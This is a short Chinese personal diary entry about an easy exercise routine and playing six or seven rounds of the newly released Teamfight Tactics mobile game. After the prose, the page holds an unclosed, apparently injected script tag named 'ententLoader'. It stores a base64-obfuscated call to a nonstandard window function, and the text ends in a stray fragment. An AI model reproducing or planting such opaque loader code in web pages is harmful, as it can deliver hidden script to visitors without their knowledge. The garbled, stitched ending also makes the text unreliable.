最近的锻炼方法还是挺好的

    不是很累，而且出汗很快

    做完2，3个动作，就出汗了

    但是自己还是有些懒，到快睡觉的时候才想着锻炼

    今天云顶之奕手游出来了

    开了6，7把

    感觉挺不错的，而且还是两个版本同时开，挺有意思的

    <script id="ententLoader">

    window.fkp = "d2luZG93Lm9ua2V5Zm9jdXMoIkRRQWNwR3VJSTdMb1lYSlNnR3NQZVMxN2R0VUh0MVJoOTh5R1B3ZThaWXBKMDJ1K3ZPbzNpd1FYSjZPdFVFUUpWN01Edks4VWFRRHAvS29hWnF1UUpNdkhEWVlPNmFLQWVhNHRkUURiVFY4qWjZ4Sy9vYTl4a1hiRjZ63IiwgMTYzMjI3OTEyMyk=";

    hai